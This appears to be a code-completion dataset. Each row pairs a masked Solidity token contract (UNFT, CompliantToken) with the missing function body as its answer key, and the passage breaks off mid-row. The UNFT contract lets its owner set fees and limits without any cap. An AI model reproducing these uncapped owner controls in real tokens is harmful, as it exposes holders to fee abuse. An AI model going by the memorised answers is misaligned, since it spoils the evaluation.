_excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!bots[from] && !bots[to]); require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); uint256 leftover; bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (!inSwapAndLiquify && swapAndLiquifyEnabled && to == uniswapV2Pair) { if (overMinimumTokenBalance) { contractTokenBalance = minimumTokensBeforeSwap.mul(marketingDivisor).div(_liquidityFee); leftover = minimumTokensBeforeSwap - contractTokenBalance; swapTokens(contractTokenBalance); _transfer(address(this), deadAddress, leftover); } } bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokens(uint256 contractTokenBalance) private lockTheSwap { uint256 initialBalance = address(this).balance; swapTokensForEth(contractTokenBalance); uint256 transferredBalance = address(this).balance.sub(initialBalance); //Send to Marketing address transferToAddressETH(marketingAddress, transferredBalance); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function swapETHForTokens(uint256 amount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); // make the swap uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( 0, // accept any amount of Tokens path, deadAddress, // Burn address block.timestamp.add(300) ); emit SwapETHForTokens(amount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private {<FILL_FUNCTION_BODY> } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } function setMarketingDivisor(uint256 divisor) external onlyOwner() { marketingDivisor = divisor; } function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() { minimumTokensBeforeSwap = _minimumTokensBeforeSwap; } function setMarketingAddress(address _marketingAddress) external onlyOwner() { marketingAddress = payable(_marketingAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function feesOff() external onlyOwner { setSwapAndLiquifyEnabled(false); _liquidityFee = 0; } function feesLive() external onlyOwner { setSwapAndLiquifyEnabled(true); _liquidityFee = 5; } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } receive() external payable {} }
contract UNFT is Context, IERC20, Ownable { //Prepared by Grant Fields using SafeMath for uint256; using Address for address; address payable public marketingAddress = payable(0x379fEDF5DFfA2311a7E2F132FFDdBbA3c149229C); // Marketing Address address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private bots; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Ultimate NFT"; string private _symbol = "UNFT"; uint8 private _decimals = 9; uint256 private _taxFee; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 5; uint256 private _previousLiquidityFee = _liquidityFee; uint256 public marketingDivisor = 3; uint256 public _maxTxAmount = 1000 * 10**6 * 10**9; uint256 private minimumTokensBeforeSwap = 2500000 * 10**9; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; bool public buyBackEnabled = true; event RewardLiquidityProviders(uint256 tokenAmount); event BuyBackEnabledUpdated(bool enabled); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _taxFee = 0; uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!bots[from] && !bots[to]); require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); uint256 leftover; bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (!inSwapAndLiquify && swapAndLiquifyEnabled && to == uniswapV2Pair) { if (overMinimumTokenBalance) { contractTokenBalance = minimumTokensBeforeSwap.mul(marketingDivisor).div(_liquidityFee); leftover = minimumTokensBeforeSwap - contractTokenBalance; swapTokens(contractTokenBalance); _transfer(address(this), deadAddress, leftover); } } bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokens(uint256 contractTokenBalance) private lockTheSwap { uint256 initialBalance = address(this).balance; swapTokensForEth(contractTokenBalance); uint256 transferredBalance = address(this).balance.sub(initialBalance); //Send to Marketing address transferToAddressETH(marketingAddress, transferredBalance); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function swapETHForTokens(uint256 amount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); // make the swap uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( 0, // accept any amount of Tokens path, deadAddress, // Burn address block.timestamp.add(300) ); emit SwapETHForTokens(amount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } <FILL_FUNCTION> function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } function setMarketingDivisor(uint256 divisor) external onlyOwner() { marketingDivisor = divisor; } function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() { minimumTokensBeforeSwap = _minimumTokensBeforeSwap; } function setMarketingAddress(address _marketingAddress) external onlyOwner() { marketingAddress = payable(_marketingAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function feesOff() external onlyOwner { setSwapAndLiquifyEnabled(false); _liquidityFee = 0; } function feesLive() external onlyOwner { setSwapAndLiquifyEnabled(true); _liquidityFee = 5; } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } receive() external payable {} }
if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0;
function removeAllFee() private
function removeAllFee() private
77352
CompliantToken
_approveTransfer
contract CompliantToken is Validator, DetailedERC20, MintableToken { Whitelist public whiteListingContract; struct TransactionStruct { address from; address to; uint256 value; uint256 fee; address spender; } mapping (uint => TransactionStruct) public pendingTransactions; mapping (address => mapping (address => uint256)) public pendingApprovalAmount; uint256 public currentNonce = 0; uint256 public transferFee; address public feeRecipient; modifier checkIsInvestorApproved(address _account) { require(whiteListingContract.isInvestorApproved(_account)); _; } modifier checkIsAddressValid(address _account) { require(_account != address(0)); _; } modifier checkIsValueValid(uint256 _value) { require(_value > 0); _; } /** * event for rejected transfer logging * @param from address from which tokens have to be transferred * @param to address to tokens have to be transferred * @param value number of tokens * @param nonce request recorded at this particular nonce * @param reason reason for rejection */ event TransferRejected( address indexed from, address indexed to, uint256 value, uint256 indexed nonce, uint256 reason ); /** * event for transfer tokens logging * @param from address from which tokens have to be transferred * @param to address to tokens have to be transferred * @param value number of tokens * @param fee fee in tokens */ event TransferWithFee( address indexed from, address indexed to, uint256 value, uint256 fee ); /** * event for transfer/transferFrom request logging * @param from address from which tokens have to be transferred * @param to address to tokens have to be transferred * @param value number of tokens * @param fee fee in tokens * @param spender The address which will spend the tokens * @param nonce request recorded at this particular nonce */ event RecordedPendingTransaction( address indexed from, address indexed to, uint256 value, uint256 fee, address indexed spender, uint256 nonce ); /** * event for whitelist contract update logging * @param _whiteListingContract address of the new whitelist contract */ event WhiteListingContractSet(address indexed _whiteListingContract); /** * event for fee update logging * @param previousFee previous fee * @param newFee new fee */ event FeeSet(uint256 indexed previousFee, uint256 indexed newFee); /** * event for fee recipient update logging * @param previousRecipient address of the old fee recipient * @param newRecipient address of the new fee recipient */ event FeeRecipientSet(address indexed previousRecipient, address indexed newRecipient); /** @dev Constructor * @param _owner Token contract owner * @param _name Token name * @param _symbol Token symbol * @param _decimals number of decimals in the token(usually 18) * @param whitelistAddress Ethereum address of the whitelist contract * @param recipient Ethereum address of the fee recipient * @param fee token fee for approving a transfer */ constructor( address _owner, string _name, string _symbol, uint8 _decimals, address whitelistAddress, address recipient, uint256 fee ) public MintableToken(_owner) DetailedERC20(_name, _symbol, _decimals) Validator() { setWhitelistContract(whitelistAddress); setFeeRecipient(recipient); setFee(fee); } /** @dev Updates whitelist contract address * @param whitelistAddress New whitelist contract address */ function setWhitelistContract(address whitelistAddress) public onlyValidator checkIsAddressValid(whitelistAddress) { whiteListingContract = Whitelist(whitelistAddress); emit WhiteListingContractSet(whiteListingContract); } /** @dev Updates token fee for approving a transfer * @param fee New token fee */ function setFee(uint256 fee) public onlyValidator { emit FeeSet(transferFee, fee); transferFee = fee; } /** @dev Updates fee recipient address * @param recipient New whitelist contract address */ function setFeeRecipient(address recipient) public onlyValidator checkIsAddressValid(recipient) { emit FeeRecipientSet(feeRecipient, recipient); feeRecipient = recipient; } /** @dev Updates token name * @param _name New token name */ function updateName(string _name) public onlyOwner { require(bytes(_name).length != 0); name = _name; } /** @dev Updates token symbol * @param _symbol New token name */ function updateSymbol(string _symbol) public onlyOwner { require(bytes(_symbol).length != 0); symbol = _symbol; } /** @dev transfer request * @param _to address to which the tokens have to be transferred * @param _value amount of tokens to be transferred */ function transfer(address _to, uint256 _value) public checkIsInvestorApproved(msg.sender) checkIsInvestorApproved(_to) checkIsValueValid(_value) returns (bool) { uint256 pendingAmount = pendingApprovalAmount[msg.sender][address(0)]; uint256 fee = 0; if (msg.sender == feeRecipient) { require(_value.add(pendingAmount) <= balances[msg.sender]); pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value); } else { fee = transferFee; require(_value.add(pendingAmount).add(transferFee) <= balances[msg.sender]); pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value).add(transferFee); } pendingTransactions[currentNonce] = TransactionStruct( msg.sender, _to, _value, fee, address(0) ); emit RecordedPendingTransaction(msg.sender, _to, _value, fee, address(0), currentNonce); currentNonce++; return true; } /** @dev transferFrom request * @param _from address from which the tokens have to be transferred * @param _to address to which the tokens have to be transferred * @param _value amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public checkIsInvestorApproved(_from) checkIsInvestorApproved(_to) checkIsValueValid(_value) returns (bool) { uint256 allowedTransferAmount = allowed[_from][msg.sender]; uint256 pendingAmount = pendingApprovalAmount[_from][msg.sender]; uint256 fee = 0; if (_from == feeRecipient) { require(_value.add(pendingAmount) <= balances[_from]); require(_value.add(pendingAmount) <= allowedTransferAmount); pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value); } else { fee = transferFee; require(_value.add(pendingAmount).add(transferFee) <= balances[_from]); require(_value.add(pendingAmount).add(transferFee) <= allowedTransferAmount); pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value).add(transferFee); } pendingTransactions[currentNonce] = TransactionStruct( _from, _to, _value, fee, msg.sender ); emit RecordedPendingTransaction(_from, _to, _value, fee, msg.sender, currentNonce); currentNonce++; return true; } /** @dev approve transfer/transferFrom request * @param nonce request recorded at this particular nonce */ function approveTransfer(uint256 nonce) external onlyValidator { require(_approveTransfer(nonce)); } /** @dev reject transfer/transferFrom request * @param nonce request recorded at this particular nonce * @param reason reason for rejection */ function rejectTransfer(uint256 nonce, uint256 reason) external onlyValidator { _rejectTransfer(nonce, reason); } /** @dev approve transfer/transferFrom requests * @param nonces request recorded at these nonces */ function bulkApproveTransfers(uint256[] nonces) external onlyValidator { for (uint i = 0; i < nonces.length; i++) { require(_approveTransfer(nonces[i])); } } /** @dev reject transfer/transferFrom request * @param nonces requests recorded at these nonces * @param reasons reasons for rejection */ function bulkRejectTransfers(uint256[] nonces, uint256[] reasons) external onlyValidator { require(nonces.length == reasons.length); for (uint i = 0; i < nonces.length; i++) { _rejectTransfer(nonces[i], reasons[i]); } } /** @dev approve transfer/transferFrom request called internally in the rejectTransfer and bulkRejectTransfers functions * @param nonce request recorded at this particular nonce */ function _approveTransfer(uint256 nonce) private checkIsInvestorApproved(pendingTransactions[nonce].from) checkIsInvestorApproved(pendingTransactions[nonce].to) returns (bool) {<FILL_FUNCTION_BODY> } /** @dev reject transfer/transferFrom request called internally in the rejectTransfer and bulkRejectTransfers functions * @param nonce request recorded at this particular nonce * @param reason reason for rejection */ function _rejectTransfer(uint256 nonce, uint256 reason) private checkIsAddressValid(pendingTransactions[nonce].from) { address from = pendingTransactions[nonce].from; address spender = pendingTransactions[nonce].spender; uint256 value = pendingTransactions[nonce].value; if (pendingTransactions[nonce].fee == 0) { pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender] .sub(value); } else { pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender] .sub(value).sub(pendingTransactions[nonce].fee); } emit TransferRejected( from, pendingTransactions[nonce].to, value, nonce, reason ); delete pendingTransactions[nonce]; } }
contract CompliantToken is Validator, DetailedERC20, MintableToken { Whitelist public whiteListingContract; struct TransactionStruct { address from; address to; uint256 value; uint256 fee; address spender; } mapping (uint => TransactionStruct) public pendingTransactions; mapping (address => mapping (address => uint256)) public pendingApprovalAmount; uint256 public currentNonce = 0; uint256 public transferFee; address public feeRecipient; modifier checkIsInvestorApproved(address _account) { require(whiteListingContract.isInvestorApproved(_account)); _; } modifier checkIsAddressValid(address _account) { require(_account != address(0)); _; } modifier checkIsValueValid(uint256 _value) { require(_value > 0); _; } /** * event for rejected transfer logging * @param from address from which tokens have to be transferred * @param to address to tokens have to be transferred * @param value number of tokens * @param nonce request recorded at this particular nonce * @param reason reason for rejection */ event TransferRejected( address indexed from, address indexed to, uint256 value, uint256 indexed nonce, uint256 reason ); /** * event for transfer tokens logging * @param from address from which tokens have to be transferred * @param to address to tokens have to be transferred * @param value number of tokens * @param fee fee in tokens */ 